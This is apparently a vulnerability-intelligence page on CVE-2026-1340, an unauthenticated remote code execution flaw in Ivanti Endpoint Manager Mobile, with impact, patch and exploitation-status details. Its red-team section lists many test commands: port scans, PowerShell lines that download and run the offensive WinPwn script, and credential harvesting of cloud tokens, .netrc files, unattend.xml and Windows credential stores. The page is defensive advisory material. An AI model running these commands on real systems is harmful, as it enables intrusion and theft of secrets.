CVE-2026-1340
Overview
This vulnerability is a code injection flaw rooted in improper input validation within Ivanti Endpoint Manager Mobile. The affected component fails to sanitize user-supplied data before processing, enabling malicious payloads to be injected and executed. The flaw resides in the core mobile management service handling remote commands or scripts without adequate security controls.
Vulnerability Description
A code injection in Ivanti Endpoint Manager Mobile allowing attackers to achieve unauthenticated remote code execution.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on the affected system, gaining full control over the Ivanti Endpoint Manager Mobile environment. No user interaction or prior authentication is required (AV:N/AC:L/PR:N/UI:N), enabling attackers to compromise confidentiality, integrity, and availability. This can lead to unauthorized access to sensitive data, disruption of mobile endpoint management services, and potential lateral movement within the network.
Solution
Ivanti has released security updates addressing this vulnerability in Ivanti Endpoint Manager Mobile as detailed in their advisory at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340. Users should apply the latest patches immediately, ensuring their product versions align with the fixed releases. The advisory includes specific version numbers and update instructions to mitigate the issue effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Ivanti Endpoint Manager Mobile is characterized by a critical code injection flaw that enables attackers to execute arbitrary code remotely without authentication. This issue arises from improper input validation in the application's handling of user-supplied data, allowing malicious actors to manipulate the execution flow of the software. By crafting specific requests, an attacker can inject harmful code that the application inadvertently executes, potentially leading to complete system compromise. The severity of this vulnerability is underscored by its high CVSS score, indicating a significant risk to organizations utilizing this endpoint management solution.
Attack vectors for this vulnerability are diverse, primarily leveraging web-based interfaces that the application exposes. An attacker could exploit this flaw by sending specially crafted HTTP requests to the affected application, which would then process these requests without adequate scrutiny. Scenarios may include an attacker targeting a corporate network where Ivanti Endpoint Manager Mobile is deployed, using phishing techniques to lure users into triggering the vulnerable functionality. Once the code is executed, the attacker could gain unauthorized access to sensitive data, manipulate system configurations, or deploy additional malware, further compromising the integrity of the network.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Ivanti Endpoint Manager Mobile for managing mobile devices and applications. The potential for unauthenticated remote code execution poses a significant business risk, as it could lead to data breaches, loss of intellectual property, or disruption of services. Organizations may face regulatory scrutiny, reputational damage, and financial losses resulting from remediation efforts and potential legal liabilities. The ability to execute arbitrary code remotely means that attackers could pivot to other systems within the network, amplifying the threat and complicating incident response efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify exploitable weaknesses in the application. Additionally, organizations should ensure that they are running the latest version of Ivanti Endpoint Manager Mobile, as vendors often release patches to address known vulnerabilities. Employing web application firewalls (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, implementing strict input validation and sanitization practices can help prevent code injection attacks, reducing the risk of exploitation.
In conclusion, the code injection vulnerability in Ivanti Endpoint Manager Mobile represents a serious threat to organizations that utilize this endpoint management tool. The potential for unauthenticated remote code execution can lead to significant security breaches and operational disruptions. By understanding the technical aspects of the vulnerability, recognizing the various attack vectors, assessing the real-world impact, and employing effective detection and mitigation strategies, organizations can better protect themselves against this and similar threats in the evolving landscape of cybersecurity.
CSURFACE threat intelligence has detected a marked escalation in activity exploiting CVE-2026-1340, reflected by a substantial increase in telemetry alerts. This vulnerability’s inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its growing prominence and the urgency for heightened vigilance. Notably, our sensors have identified the first credible association of this flaw with a ransomware group, signaling a potential shift toward more aggressive monetization strategies by threat actors. The emergence of a Metasploit module further lowers the barrier for exploitation, increasing the risk of widespread attacks. Correspondingly, the Exploit Prediction Scoring System (EPSS) score has risen, indicating a higher likelihood of exploitation in the near term. Collectively, these developments elevate the threat level from critical to an actively exploited and weaponized state, demanding increased attention from defenders monitoring Ivanti Endpoint Manager Mobile deployments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager Mobile | All |
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE
exploits/linux/http/ivanti_epmm_rce
|
watchTowr, sfewer-r7 | Unknown | unix, linux | View |
Threat Feed
20 eventsSighting activity recorded
Sighting activity recorded
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Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-1340 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-1340 |